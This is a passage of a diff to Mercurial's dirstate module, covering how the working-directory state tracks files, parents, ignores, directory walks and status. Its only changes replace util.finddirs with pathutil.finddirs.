         self._plchangecallbacks = {}
         self._origpl = None
         self._updatedfiles = set()
         self._mapcls = dirstatemap
         # Access and cache cwd early, so we don't access it for the first time
         # after a working-copy update caused it to not exist (accessing it then
         # raises an exception).
         self._cwd
 
     @contextlib.contextmanager
     def parentchange(self):
         '''Context manager for handling dirstate parents.
 
         If an exception occurs in the scope of the context manager,
         the incoherent dirstate won't be written when wlock is
         released.
         '''
         self._parentwriters += 1
         yield
         # Typically we want the "undo" step of a context manager in a
         # finally block so it happens even when an exception
         # occurs. In this case, however, we only want to decrement
         # parentwriters if the code in the with statement exits
         # normally, so we don't have a try/finally here on purpose.
         self._parentwriters -= 1
 
     def pendingparentchange(self):
         '''Returns true if the dirstate is in the middle of a set of changes
         that modify the dirstate parent.
         '''
         return self._parentwriters > 0
 
     @propertycache
     def _map(self):
         """Return the dirstate contents (see documentation for dirstatemap)."""
         self._map = self._mapcls(self._ui, self._opener, self._root)
         return self._map
 
     @property
     def _sparsematcher(self):
         """The matcher for the sparse checkout.
 
         The working directory may not include every file from a manifest. The
         matcher obtained by this property will match a path if it is to be
         included in the working directory.
         """
         # TODO there is potential to cache this property. For now, the matcher
         # is resolved on every access. (But the called function does use a
         # cache to keep the lookup fast.)
         return self._sparsematchfn()
 
     @repocache(b'branch')
     def _branch(self):
         try:
             return self._opener.read(b"branch").strip() or b"default"
         except IOError as inst:
             if inst.errno != errno.ENOENT:
                 raise
             return b"default"
 
     @property
     def _pl(self):
         return self._map.parents()
 
     def hasdir(self, d):
         return self._map.hastrackeddir(d)
 
     @rootcache(b'.hgignore')
     def _ignore(self):
         files = self._ignorefiles()
         if not files:
             return matchmod.never()
 
         pats = [b'include:%s' % f for f in files]
         return matchmod.match(self._root, b'', [], pats, warn=self._ui.warn)
 
     @propertycache
     def _slash(self):
         return self._ui.configbool(b'ui', b'slash') and pycompat.ossep != b'/'
 
     @propertycache
     def _checklink(self):
         return util.checklink(self._root)
 
     @propertycache
     def _checkexec(self):
         return util.checkexec(self._root)
 
     @propertycache
     def _checkcase(self):
         return not util.fscasesensitive(self._join(b'.hg'))
 
     def _join(self, f):
         # much faster than os.path.join()
         # it's safe because f is always a relative path
         return self._rootdir + f
 
     def flagfunc(self, buildfallback):
         if self._checklink and self._checkexec:
 
             def f(x):
                 try:
                     st = os.lstat(self._join(x))
                     if util.statislink(st):
                         return b'l'
                     if util.statisexec(st):
                         return b'x'
                 except OSError:
                     pass
                 return b''
 
             return f
 
         fallback = buildfallback()
         if self._checklink:
 
             def f(x):
                 if os.path.islink(self._join(x)):
                     return b'l'
                 if b'x' in fallback(x):
                     return b'x'
                 return b''
 
             return f
         if self._checkexec:
 
             def f(x):
                 if b'l' in fallback(x):
                     return b'l'
                 if util.isexec(self._join(x)):
                     return b'x'
                 return b''
 
             return f
         else:
             return fallback
 
     @propertycache
     def _cwd(self):
         # internal config: ui.forcecwd
         forcecwd = self._ui.config(b'ui', b'forcecwd')
         if forcecwd:
             return forcecwd
         return encoding.getcwd()
 
     def getcwd(self):
         '''Return the path from which a canonical path is calculated.
 
         This path should be used to resolve file patterns or to convert
         canonical paths back to file paths for display. It shouldn't be
         used to get real file paths. Use vfs functions instead.
         '''
         cwd = self._cwd
         if cwd == self._root:
             return b''
         # self._root ends with a path separator if self._root is '/' or 'C:\'
         rootsep = self._root
         if not util.endswithsep(rootsep):
             rootsep += pycompat.ossep
         if cwd.startswith(rootsep):
             return cwd[len(rootsep) :]
         else:
             # we're outside the repo. return an absolute path.
             return cwd
 
     def pathto(self, f, cwd=None):
         if cwd is None:
             cwd = self.getcwd()
         path = util.pathto(self._root, cwd, f)
         if self._slash:
             return util.pconvert(path)
         return path
 
     def __getitem__(self, key):
         '''Return the current state of key (a filename) in the dirstate.
 
         States are:
           n  normal
           m  needs merging
           r  marked for removal
           a  marked for addition
           ?  not tracked
         '''
         return self._map.get(key, (b"?",))[0]
 
     def __contains__(self, key):
         return key in self._map
 
     def __iter__(self):
         return iter(sorted(self._map))
 
     def items(self):
         return pycompat.iteritems(self._map)
 
     iteritems = items
 
     def parents(self):
         return [self._validate(p) for p in self._pl]
 
     def p1(self):
         return self._validate(self._pl[0])
 
     def p2(self):
         return self._validate(self._pl[1])
 
     def branch(self):
         return encoding.tolocal(self._branch)
 
     def setparents(self, p1, p2=nullid):
         """Set dirstate parents to p1 and p2.
 
         When moving from two parents to one, 'm' merged entries a
         adjusted to normal and previous copy records discarded and
         returned by the call.
 
         See localrepo.setparents()
         """
         if self._parentwriters == 0:
             raise ValueError(
                 b"cannot set dirstate parent outside of "
                 b"dirstate.parentchange context manager"
             )
 
         self._dirty = True
         oldp2 = self._pl[1]
         if self._origpl is None:
             self._origpl = self._pl
         self._map.setparents(p1, p2)
         copies = {}
         if oldp2 != nullid and p2 == nullid:
             candidatefiles = self._map.nonnormalset.union(
                 self._map.otherparentset
             )
             for f in candidatefiles:
                 s = self._map.get(f)
                 if s is None:
                     continue
 
                 # Discard 'm' markers when moving away from a merge state
                 if s[0] == b'm':
                     source = self._map.copymap.get(f)
                     if source:
                         copies[f] = source
                     self.normallookup(f)
                 # Also fix up otherparent markers
                 elif s[0] == b'n' and s[2] == -2:
                     source = self._map.copymap.get(f)
                     if source:
                         copies[f] = source
                     self.add(f)
         return copies
 
     def setbranch(self, branch):
         self.__class__._branch.set(self, encoding.fromlocal(branch))
         f = self._opener(b'branch', b'w', atomictemp=True, checkambig=True)
         try:
             f.write(self._branch + b'\n')
             f.close()
 
             # make sure filecache has the correct stat info for _branch after
             # replacing the underlying file
             ce = self._filecache[b'_branch']
             if ce:
                 ce.refresh()
         except:  # re-raises
             f.discard()
             raise
 
     def invalidate(self):
         '''Causes the next access to reread the dirstate.
 
         This is different from localrepo.invalidatedirstate() because it always
         rereads the dirstate. Use localrepo.invalidatedirstate() if you want to
         check whether the dirstate has changed before rereading it.'''
 
         for a in ("_map", "_branch", "_ignore"):
             if a in self.__dict__:
                 delattr(self, a)
         self._lastnormaltime = 0
         self._dirty = False
         self._updatedfiles.clear()
         self._parentwriters = 0
         self._origpl = None
 
     def copy(self, source, dest):
         """Mark dest as a copy of source. Unmark dest if source is None."""
         if source == dest:
             return
         self._dirty = True
         if source is not None:
             self._map.copymap[dest] = source
             self._updatedfiles.add(source)
             self._updatedfiles.add(dest)
         elif self._map.copymap.pop(dest, None):
             self._updatedfiles.add(dest)
 
     def copied(self, file):
         return self._map.copymap.get(file, None)
 
     def copies(self):
         return self._map.copymap
 
     def _addpath(self, f, state, mode, size, mtime):
         oldstate = self[f]
         if state == b'a' or oldstate == b'r':
             scmutil.checkfilename(f)
             if self._map.hastrackeddir(f):
                 raise error.Abort(
                     _(b'directory %r already in dirstate') % pycompat.bytestr(f)
                 )
             # shadows
-            for d in util.finddirs(f):
+            for d in pathutil.finddirs(f):
                 if self._map.hastrackeddir(d):
                     break
                 entry = self._map.get(d)
                 if entry is not None and entry[0] != b'r':
                     raise error.Abort(
                         _(b'file %r in dirstate clashes with %r')
                         % (pycompat.bytestr(d), pycompat.bytestr(f))
                     )
         self._dirty = True
         self._updatedfiles.add(f)
         self._map.addfile(f, oldstate, state, mode, size, mtime)
 
     def normal(self, f, parentfiledata=None):
         '''Mark a file normal and clean.
 
         parentfiledata: (mode, size, mtime) of the clean file
 
         parentfiledata should be computed from memory (for mode,
         size), as or close as possible from the point where we
         determined the file was clean, to limit the risk of the
         file having been changed by an external process between the
         moment where the file was determined to be clean and now.'''
         if parentfiledata:
             (mode, size, mtime) = parentfiledata
         else:
             s = os.lstat(self._join(f))
             mode = s.st_mode
             size = s.st_size
             mtime = s[stat.ST_MTIME]
         self._addpath(f, b'n', mode, size & _rangemask, mtime & _rangemask)
         self._map.copymap.pop(f, None)
         if f in self._map.nonnormalset:
             self._map.nonnormalset.remove(f)
         if mtime > self._lastnormaltime:
             # Remember the most recent modification timeslot for status(),
             # to make sure we won't miss future size-preserving file content
             # modifications that happen within the same timeslot.
             self._lastnormaltime = mtime
 
     def normallookup(self, f):
         '''Mark a file normal, but possibly dirty.'''
         if self._pl[1] != nullid:
             # if there is a merge going on and the file was either
             # in state 'm' (-1) or coming from other parent (-2) before
             # being removed, restore that state.
             entry = self._map.get(f)
             if entry is not None:
                 if entry[0] == b'r' and entry[2] in (-1, -2):
                     source = self._map.copymap.get(f)
                     if entry[2] == -1:
                         self.merge(f)
                     elif entry[2] == -2:
                         self.otherparent(f)
                     if source:
                         self.copy(source, f)
                     return
                 if entry[0] == b'm' or entry[0] == b'n' and entry[2] == -2:
                     return
         self._addpath(f, b'n', 0, -1, -1)
         self._map.copymap.pop(f, None)
 
     def otherparent(self, f):
         '''Mark as coming from the other parent, always dirty.'''
         if self._pl[1] == nullid:
             raise error.Abort(
                 _(b"setting %r to other parent only allowed in merges") % f
             )
         if f in self and self[f] == b'n':
             # merge-like
             self._addpath(f, b'm', 0, -2, -1)
         else:
             # add-like
             self._addpath(f, b'n', 0, -2, -1)
         self._map.copymap.pop(f, None)
 
     def add(self, f):
         '''Mark a file added.'''
         self._addpath(f, b'a', 0, -1, -1)
         self._map.copymap.pop(f, None)
 
     def remove(self, f):
         '''Mark a file removed.'''
         self._dirty = True
         oldstate = self[f]
         size = 0
         if self._pl[1] != nullid:
             entry = self._map.get(f)
             if entry is not None:
                 # backup the previous state
                 if entry[0] == b'm':  # merge
                     size = -1
                 elif entry[0] == b'n' and entry[2] == -2:  # other parent
                     size = -2
                     self._map.otherparentset.add(f)
         self._updatedfiles.add(f)
         self._map.removefile(f, oldstate, size)
         if size == 0:
             self._map.copymap.pop(f, None)
 
     def merge(self, f):
         '''Mark a file merged.'''
         if self._pl[1] == nullid:
             return self.normallookup(f)
         return self.otherparent(f)
 
     def drop(self, f):
         '''Drop a file from the dirstate'''
         oldstate = self[f]
         if self._map.dropfile(f, oldstate):
             self._dirty = True
             self._updatedfiles.add(f)
             self._map.copymap.pop(f, None)
 
     def _discoverpath(self, path, normed, ignoremissing, exists, storemap):
         if exists is None:
             exists = os.path.lexists(os.path.join(self._root, path))
         if not exists:
             # Maybe a path component exists
             if not ignoremissing and b'/' in path:
                 d, f = path.rsplit(b'/', 1)
                 d = self._normalize(d, False, ignoremissing, None)
                 folded = d + b"/" + f
             else:
                 # No path components, preserve original case
                 folded = path
         else:
             # recursively normalize leading directory components
             # against dirstate
             if b'/' in normed:
                 d, f = normed.rsplit(b'/', 1)
                 d = self._normalize(d, False, ignoremissing, True)
                 r = self._root + b"/" + d
                 folded = d + b"/" + util.fspath(f, r)
             else:
                 folded = util.fspath(normed, self._root)
             storemap[normed] = folded
 
         return folded
 
     def _normalizefile(self, path, isknown, ignoremissing=False, exists=None):
         normed = util.normcase(path)
         folded = self._map.filefoldmap.get(normed, None)
         if folded is None:
             if isknown:
                 folded = path
             else:
                 folded = self._discoverpath(
                     path, normed, ignoremissing, exists, self._map.filefoldmap
                 )
         return folded
 
     def _normalize(self, path, isknown, ignoremissing=False, exists=None):
         normed = util.normcase(path)
         folded = self._map.filefoldmap.get(normed, None)
         if folded is None:
             folded = self._map.dirfoldmap.get(normed, None)
         if folded is None:
             if isknown:
                 folded = path
             else:
                 # store discovered result in dirfoldmap so that future
                 # normalizefile calls don't start matching directories
                 folded = self._discoverpath(
                     path, normed, ignoremissing, exists, self._map.dirfoldmap
                 )
         return folded
 
     def normalize(self, path, isknown=False, ignoremissing=False):
         '''
         normalize the case of a pathname when on a casefolding filesystem
 
         isknown specifies whether the filename came from walking the
         disk, to avoid extra filesystem access.
 
         If ignoremissing is True, missing path are returned
         unchanged. Otherwise, we try harder to normalize possibly
         existing path components.
 
         The normalized case is determined based on the following precedence:
 
         - version of name already stored in the dirstate
         - version of name stored on disk
         - version provided via command arguments
         '''
 
         if self._checkcase:
             return self._normalize(path, isknown, ignoremissing)
         return path
 
     def clear(self):
         self._map.clear()
         self._lastnormaltime = 0
         self._updatedfiles.clear()
         self._dirty = True
 
     def rebuild(self, parent, allfiles, changedfiles=None):
         if changedfiles is None:
             # Rebuild entire dirstate
             changedfiles = allfiles
             lastnormaltime = self._lastnormaltime
             self.clear()
             self._lastnormaltime = lastnormaltime
 
         if self._origpl is None:
             self._origpl = self._pl
         self._map.setparents(parent, nullid)
         for f in changedfiles:
             if f in allfiles:
                 self.normallookup(f)
             else:
                 self.drop(f)
 
         self._dirty = True
 
     def identity(self):
         '''Return identity of dirstate itself to detect changing in storage
 
         If identity of previous dirstate is equal to this, writing
         changes based on the former dirstate out can keep consistency.
         '''
         return self._map.identity
 
     def write(self, tr):
         if not self._dirty:
             return
 
         filename = self._filename
         if tr:
             # 'dirstate.write()' is not only for writing in-memory
             # changes out, but also for dropping ambiguous timestamp.
             # delayed writing re-raise "ambiguous timestamp issue".
             # See also the wiki page below for detail:
             # https://www.mercurial-scm.org/wiki/DirstateTransactionPlan
 
             # emulate dropping timestamp in 'parsers.pack_dirstate'
             now = _getfsnow(self._opener)
             self._map.clearambiguoustimes(self._updatedfiles, now)
 
             # emulate that all 'dirstate.normal' results are written out
             self._lastnormaltime = 0
             self._updatedfiles.clear()
 
             # delay writing in-memory changes out
             tr.addfilegenerator(
                 b'dirstate',
                 (self._filename,),
                 self._writedirstate,
                 location=b'plain',
             )
             return
 
         st = self._opener(filename, b"w", atomictemp=True, checkambig=True)
         self._writedirstate(st)
 
     def addparentchangecallback(self, category, callback):
         """add a callback to be called when the wd parents are changed
 
         Callback will be called with the following arguments:
             dirstate, (oldp1, oldp2), (newp1, newp2)
 
         Category is a unique identifier to allow overwriting an old callback
         with a newer callback.
         """
         self._plchangecallbacks[category] = callback
 
     def _writedirstate(self, st):
         # notify callbacks about parents change
         if self._origpl is not None and self._origpl != self._pl:
             for c, callback in sorted(
                 pycompat.iteritems(self._plchangecallbacks)
             ):
                 callback(self, self._origpl, self._pl)
             self._origpl = None
         # use the modification time of the newly created temporary file as the
         # filesystem's notion of 'now'
         now = util.fstat(st)[stat.ST_MTIME] & _rangemask
 
         # enough 'delaywrite' prevents 'pack_dirstate' from dropping
         # timestamp of each entries in dirstate, because of 'now > mtime'
         delaywrite = self._ui.configint(b'debug', b'dirstate.delaywrite')
         if delaywrite > 0:
             # do we have any files to delay for?
             for f, e in pycompat.iteritems(self._map):
                 if e[0] == b'n' and e[3] == now:
                     import time  # to avoid useless import
 
                     # rather than sleep n seconds, sleep until the next
                     # multiple of n seconds
                     clock = time.time()
                     start = int(clock) - (int(clock) % delaywrite)
                     end = start + delaywrite
                     time.sleep(end - clock)
                     now = end  # trust our estimate that the end is near now
                     break
 
         self._map.write(st, now)
         self._lastnormaltime = 0
         self._dirty = False
 
     def _dirignore(self, f):
         if self._ignore(f):
             return True
-        for p in util.finddirs(f):
+        for p in pathutil.finddirs(f):
             if self._ignore(p):
                 return True
         return False
 
     def _ignorefiles(self):
         files = []
         if os.path.exists(self._join(b'.hgignore')):
             files.append(self._join(b'.hgignore'))
         for name, path in self._ui.configitems(b"ui"):
             if name == b'ignore' or name.startswith(b'ignore.'):
                 # we need to use os.path.join here rather than self._join
                 # because path is arbitrary and user-specified
                 files.append(os.path.join(self._rootdir, util.expandpath(path)))
         return files
 
     def _ignorefileandline(self, f):
         files = collections.deque(self._ignorefiles())
         visited = set()
         while files:
             i = files.popleft()
             patterns = matchmod.readpatternfile(
                 i, self._ui.warn, sourceinfo=True
             )
             for pattern, lineno, line in patterns:
                 kind, p = matchmod._patsplit(pattern, b'glob')
                 if kind == b"subinclude":
                     if p not in visited:
                         files.append(p)
                     continue
                 m = matchmod.match(
                     self._root, b'', [], [pattern], warn=self._ui.warn
                 )
                 if m(f):
                     return (i, lineno, line)
             visited.add(i)
         return (None, -1, b"")
 
     def _walkexplicit(self, match, subrepos):
         '''Get stat data about the files explicitly specified by match.
 
         Return a triple (results, dirsfound, dirsnotfound).
         - results is a mapping from filename to stat result. It also contains
           listings mapping subrepos and .hg to None.
         - dirsfound is a list of files found to be directories.
         - dirsnotfound is a list of files that the dirstate thinks are
           directories and that were not found.'''
 
         def badtype(mode):
             kind = _(b'unknown')
             if stat.S_ISCHR(mode):
                 kind = _(b'character device')
             elif stat.S_ISBLK(mode):
                 kind = _(b'block device')
             elif stat.S_ISFIFO(mode):
                 kind = _(b'fifo')
             elif stat.S_ISSOCK(mode):
                 kind = _(b'socket')
             elif stat.S_ISDIR(mode):
                 kind = _(b'directory')
             return _(b'unsupported file type (type is %s)') % kind
 
         matchedir = match.explicitdir
         badfn = match.bad
         dmap = self._map
         lstat = os.lstat
         getkind = stat.S_IFMT
         dirkind = stat.S_IFDIR
         regkind = stat.S_IFREG
         lnkkind = stat.S_IFLNK
         join = self._join
         dirsfound = []
         foundadd = dirsfound.append
         dirsnotfound = []
         notfoundadd = dirsnotfound.append
 
         if not match.isexact() and self._checkcase:
             normalize = self._normalize
         else:
             normalize = None
 
         files = sorted(match.files())
         subrepos.sort()
         i, j = 0, 0
         while i < len(files) and j < len(subrepos):
             subpath = subrepos[j] + b"/"
             if files[i] < subpath:
                 i += 1
                 continue
             while i < len(files) and files[i].startswith(subpath):
                 del files[i]
             j += 1
 
         if not files or b'' in files:
             files = [b'']
             # constructing the foldmap is expensive, so don't do it for the
             # common case where files is ['']
             normalize = None
         results = dict.fromkeys(subrepos)
         results[b'.hg'] = None
 
         for ff in files:
             if normalize:
                 nf = normalize(ff, False, True)
             else:
                 nf = ff
             if nf in results:
                 continue
 
             try:
                 st = lstat(join(nf))
                 kind = getkind(st.st_mode)
                 if kind == dirkind:
                     if nf in dmap:
                         # file replaced by dir on disk but still in dirstate
                         results[nf] = None
                     if matchedir:
                         matchedir(nf)
                     foundadd((nf, ff))
                 elif kind == regkind or kind == lnkkind:
                     results[nf] = st
                 else:
                     badfn(ff, badtype(kind))
                     if nf in dmap:
                         results[nf] = None
             except OSError as inst:  # nf not found on disk - it is dirstate only
                 if nf in dmap:  # does it exactly match a missing file?
                     results[nf] = None
                 else:  # does it match a missing directory?
                     if self._map.hasdir(nf):
                         if matchedir:
                             matchedir(nf)
                         notfoundadd(nf)
                     else:
                         badfn(ff, encoding.strtolocal(inst.strerror))
 
         # match.files() may contain explicitly-specified paths that shouldn't
         # be taken; drop them from the list of files found. dirsfound/notfound
         # aren't filtered here because they will be tested later.
         if match.anypats():
             for f in list(results):
                 if f == b'.hg' or f in subrepos:
                     # keep sentinel to disable further out-of-repo walks
                     continue
                 if not match(f):
                     del results[f]
 
         # Case insensitive filesystems cannot rely on lstat() failing to detect
         # a case-only rename.  Prune the stat object for any file that does not
         # match the case in the filesystem, if there are multiple files that
         # normalize to the same path.
         if match.isexact() and self._checkcase:
             normed = {}
 
             for f, st in pycompat.iteritems(results):
                 if st is None:
                     continue
 
                 nc = util.normcase(f)
                 paths = normed.get(nc)
 
                 if paths is None:
                     paths = set()
                     normed[nc] = paths
 
                 paths.add(f)
 
             for norm, paths in pycompat.iteritems(normed):
                 if len(paths) > 1:
                     for path in paths:
                         folded = self._discoverpath(
                             path, norm, True, None, self._map.dirfoldmap
                         )
                         if path != folded:
                             results[path] = None
 
         return results, dirsfound, dirsnotfound
 
     def walk(self, match, subrepos, unknown, ignored, full=True):
         '''
         Walk recursively through the directory tree, finding all files
         matched by match.
 
         If full is False, maybe skip some known-clean files.
 
         Return a dict mapping filename to stat-like object (either
         mercurial.osutil.stat instance or return value of os.stat()).
 
         '''
         # full is a flag that extensions that hook into walk can use -- this
         # implementation doesn't use it at all. This satisfies the contract
         # because we only guarantee a "maybe".
 
         if ignored:
             ignore = util.never
             dirignore = util.never
         elif unknown:
             ignore = self._ignore
             dirignore = self._dirignore
         else:
             # if not unknown and not ignored, drop dir recursion and step 2
             ignore = util.always
             dirignore = util.always
 
         matchfn = match.matchfn
         matchalways = match.always()
         matchtdir = match.traversedir
         dmap = self._map
         listdir = util.listdir
         lstat = os.lstat
         dirkind = stat.S_IFDIR
         regkind = stat.S_IFREG
         lnkkind = stat.S_IFLNK
         join = self._join
 
         exact = skipstep3 = False
         if match.isexact():  # match.exact
             exact = True
             dirignore = util.always  # skip step 2
         elif match.prefix():  # match.match, no patterns
             skipstep3 = True
 
         if not exact and self._checkcase:
             normalize = self._normalize
             normalizefile = self._normalizefile
             skipstep3 = False
         else:
             normalize = self._normalize
             normalizefile = None
 
         # step 1: find all explicit files
         results, work, dirsnotfound = self._walkexplicit(match, subrepos)
 
         skipstep3 = skipstep3 and not (work or dirsnotfound)
         work = [d for d in work if not dirignore(d[0])]
 
         # step 2: visit subdirectories
         def traverse(work, alreadynormed):
             wadd = work.append
             while work:
                 tracing.counter('dirstate.walk work', len(work))
                 nd = work.pop()
                 visitentries = match.visitchildrenset(nd)
                 if not visitentries:
                     continue
                 if visitentries == b'this' or visitentries == b'all':
                     visitentries = None
                 skip = None
                 if nd != b'':
                     skip = b'.hg'
                 try:
                     with tracing.log('dirstate.walk.traverse listdir %s', nd):
                         entries = listdir(join(nd), stat=True, skip=skip)
                 except OSError as inst:
                     if inst.errno in (errno.EACCES, errno.ENOENT):
                         match.bad(
                             self.pathto(nd), encoding.strtolocal(inst.strerror)
                         )
                         continue
                     raise
                 for f, kind, st in entries:
                     # Some matchers may return files in the visitentries set,
                     # instead of 'this', if the matcher explicitly mentions them
                     # and is not an exactmatcher. This is acceptable; we do not
                     # make any hard assumptions about file-or-directory below
                     # based on the presence of `f` in visitentries. If
                     # visitchildrenset returned a set, we can always skip the
                     # entries *not* in the set it provided regardless of whether
                     # they're actually a file or a directory.
                     if visitentries and f not in visitentries:
                         continue
                     if normalizefile:
                         # even though f might be a directory, we're only
                         # interested in comparing it to files currently in the
                         # dmap -- therefore normalizefile is enough
                         nf = normalizefile(
                             nd and (nd + b"/" + f) or f, True, True
                         )
                     else:
                         nf = nd and (nd + b"/" + f) or f
                     if nf not in results:
                         if kind == dirkind:
                             if not ignore(nf):
                                 if matchtdir:
                                     matchtdir(nf)
                                 wadd(nf)
                             if nf in dmap and (matchalways or matchfn(nf)):
                                 results[nf] = None
                         elif kind == regkind or kind == lnkkind:
                             if nf in dmap:
                                 if matchalways or matchfn(nf):
                                     results[nf] = st
                             elif (matchalways or matchfn(nf)) and not ignore(
                                 nf
                             ):
                                 # unknown file -- normalize if necessary
                                 if not alreadynormed:
                                     nf = normalize(nf, False, True)
                                 results[nf] = st
                         elif nf in dmap and (matchalways or matchfn(nf)):
                             results[nf] = None
 
         for nd, d in work:
             # alreadynormed means that processwork doesn't have to do any
             # expensive directory normalization
             alreadynormed = not normalize or nd == d
             traverse([d], alreadynormed)
 
         for s in subrepos:
             del results[s]
         del results[b'.hg']
 
         # step 3: visit remaining files from dmap
         if not skipstep3 and not exact:
             # If a dmap file is not in results yet, it was either
             # a) not matching matchfn b) ignored, c) missing, or d) under a
             # symlink directory.
             if not results and matchalways:
                 visit = [f for f in dmap]
             else:
                 visit = [f for f in dmap if f not in results and matchfn(f)]
             visit.sort()
 
             if unknown:
                 # unknown == True means we walked all dirs under the roots
                 # that wasn't ignored, and everything that matched was stat'ed
                 # and is already in results.
                 # The rest must thus be ignored or under a symlink.
                 audit_path = pathutil.pathauditor(self._root, cached=True)
 
                 for nf in iter(visit):
                     # If a stat for the same file was already added with a
                     # different case, don't add one for this, since that would
                     # make it appear as if the file exists under both names
                     # on disk.
                     if (
                         normalizefile
                         and normalizefile(nf, True, True) in results
                     ):
                         results[nf] = None
                     # Report ignored items in the dmap as long as they are not
                     # under a symlink directory.
                     elif audit_path.check(nf):
                         try:
                             results[nf] = lstat(join(nf))
                             # file was just ignored, no links, and exists
                         except OSError:
                             # file doesn't exist
                             results[nf] = None
                     else:
                         # It's either missing or under a symlink directory
                         # which we in this case report as missing
                         results[nf] = None
             else:
                 # We may not have walked the full directory tree above,
                 # so stat and check everything we missed.
                 iv = iter(visit)
                 for st in util.statfiles([join(i) for i in visit]):
                     results[next(iv)] = st
         return results
 
     def status(self, match, subrepos, ignored, clean, unknown):
         '''Determine the status of the working copy relative to the
         dirstate and return a pair of (unsure, status), where status is of type
         scmutil.status and:
 
           unsure:
             files that might have been modified since the dirstate was
             written, but need to be read to be sure (size is the same
             but mtime differs)
           status.modified:
             files that have definitely been modified since the dirstate
             was written (different size or mode)
           status.clean:
             files that have definitely not been modified since the
             dirstate was written
         '''
         listignored, listclean, listunknown = ignored, clean, unknown
         lookup, modified, added, unknown, ignored = [], [], [], [], []
         removed, deleted, clean = [], [], []
 
         dmap = self._map
         dmap.preload()
 
         use_rust = True
         if rustmod is None:
             use_rust = False
         elif subrepos:
             use_rust = False
         if bool(listunknown):
             # Pathauditor does not exist yet in Rust, unknown files
             # can't be trusted.
             use_rust = False
         elif self._ignorefiles() and listignored:
             # Rust has no ignore mechanism yet, so don't use Rust for
             # commands that need ignore.
             use_rust = False
         elif not match.always():
             # Matchers have yet to be implemented
             use_rust = False
 
         if use_rust:
             # Force Rayon (Rust parallelism library) to respect the number of
             # workers. This is a temporary workaround until Rust code knows
             # how to read the config file.
             numcpus = self._ui.configint("worker", "numcpus")
             if numcpus is not None:
                 encoding.environ.setdefault(
                     b'RAYON_NUM_THREADS', b'%d' % numcpus
                 )
 
             workers_enabled = self._ui.configbool("worker", "enabled", True)
             if not workers_enabled:
                 encoding.environ[b"RAYON_NUM_THREADS"] = b"1"
 
             (
                 lookup,
                 modified,
                 added,
                 removed,
                 deleted,
                 unknown,
                 clean,
             ) = rustmod.status(
                 dmap._rustmap,
                 self._rootdir,
                 bool(listclean),
                 self._lastnormaltime,
                 self._checkexec,
             )
 
             status = scmutil.status(
                 modified=modified,
                 added=added,
                 removed=removed,
                 deleted=deleted,
                 unknown=unknown,
                 ignored=ignored,
                 clean=clean,
             )
             return (lookup, status)
 
         def noop(f):
             pass
 
         dcontains = dmap.__contains__
         dget = dmap.__getitem__
         ladd = lookup.append  # aka "unsure"
         madd = modified.append
         aadd = added.append
         uadd = unknown.append if listunknown else noop
         iadd = ignored.append if listignored else noop
         radd = removed.append
         dadd = deleted.append
         cadd = clean.append if listclean else noop
         mexact = match.exact
         dirignore = self._dirignore
         checkexec = self._checkexec
         copymap = self._map.copymap
         lastnormaltime = self._lastnormaltime
 
         # We need to do full walks when either
         # - we're listing all clean files, or
         # - match.traversedir does something, because match.traversedir should
         #   be called for every dir in the working dir
         full = listclean or match.traversedir is not None
         for fn, st in pycompat.iteritems(
             self.walk(match, subrepos, listunknown, listignored, full=full)
         ):
             if not dcontains(fn):
                 if (listignored or mexact(fn)) and dirignore(fn):
                     if listignored:
                         iadd(fn)
                 else:
                     uadd(fn)
                 continue
 
             # This is equivalent to 'state, mode, size, time = dmap[fn]' but not
             # written like that for performance reasons. dmap[fn] is not a
             # Python tuple in compiled builds. The CPython UNPACK_SEQUENCE
             # opcode has fast paths when the value to be unpacked is a tuple or
             # a list, but falls back to creating a full-fledged iterator in
             # general. That is much slower than simply accessing and storing the
             # tuple members one by one.
             t = dget(fn)
             state = t[0]
             mode = t[1]
             size = t[2]
             time = t[3]
 
             if not st and state in b"nma":
                 dadd(fn)
             elif state == b'n':
                 if (
                     size >= 0
                     and (
                         (size != st.st_size and size != st.st_size & _rangemask)
                         or ((mode ^ st.st_mode) & 0o100 and checkexec)
                     )
                     or size == -2  # other parent
                     or fn in copymap
                 ):
                     madd(fn)
                 elif (
                     time != st[stat.ST_MTIME]
                     and time != st[stat.ST_MTIME] & _rangemask
                 ):
                     ladd(fn)
                 elif st[stat.ST_MTIME] == lastnormaltime:
                     # fn may have just been marked as normal and it may have
                     # changed in the same second without changing its size.
                     # This can happen if we quickly do multiple commits.
                     # Force lookup, so we don't miss such a racy file change.
                     ladd(fn)
                 elif listclean:
                     cadd(fn)
             elif state == b'm':
                 madd(fn)
             elif state == b'a':
                 aadd(fn)
             elif state == b'r':
                 radd(fn)
 
         return (
             lookup,
             scmutil.status(
                 modified, added, removed, deleted, unknown, ignored, clean
             ),
         )
 
     def matches(self, match):
         '''
         return files in the dirstate (in whatever state) filtered by match
         '''
         dmap = self._map
         if match.always():
             return dmap.keys()
         files = match.files()
         if match.isexact():
             # fast path -- filter the other way around, since typically files is
             # much smaller than dmap
             return [f for f in files if f in dmap]
         if match.prefix() and all(fn in dmap for fn in files):
             # fast path -- all the values are known to be files, so just return
             # that
             return list(files)
         return [f for f in dmap if match(f)]
 
     def _actualfilename(self, tr):
         if tr:
             return self._pendingfilename
         else:
             return self._filename
 
     def savebackup(self, tr, backupname):
         '''Save current dirstate into backup file'''
         filename = self._actualfilename(tr)
         assert backupname != filename
 
         # use '_writedirstate' instead of 'write' to write changes certainly,
         # because the latter omits writing out if transaction is running.
         # output file will be used to create backup of dirstate at this point.
         if self._dirty or not self._opener.exists(filename):
             self._writedirstate(
                 self._opener(filename, b"w", atomictemp=True, checkambig=True)
             )
 
         if tr:
             # ensure that subsequent tr.writepending returns True for
             # changes written out above, even if dirstate is never
             # changed after this
             tr.addfilegenerator(
                 b'dirstate',
                 (self._filename,),
                 self._writedirstate,
                 location=b'plain',
             )
 
             # ensure that pending file written above is unlinked at
             # failure, even if tr.writepending isn't invoked until the
             # end of this transaction
             tr.registertmp(filename, location=b'plain')
 
         self._opener.tryunlink(backupname)
         # hardlink backup is okay because _writedirstate is always called
         # with an "atomictemp=True" file.
         util.copyfile(
             self._opener.join(filename),
             self._opener.join(backupname),
             hardlink=True,
         )
 
     def restorebackup(self, tr, backupname):
         '''Restore dirstate by backup file'''
         # this "invalidate()" prevents "wlock.release()" from writing
         # changes of dirstate out after restoring from backup file
         self.invalidate()
         filename = self._actualfilename(tr)
         o = self._opener
         if util.samefile(o.join(backupname), o.join(filename)):
             o.unlink(backupname)
         else:
             o.rename(backupname, filename, checkambig=True)
 
     def clearbackup(self, tr, backupname):
         '''Clear backup file'''
         self._opener.unlink(backupname)
 
 
 class dirstatemap(object):
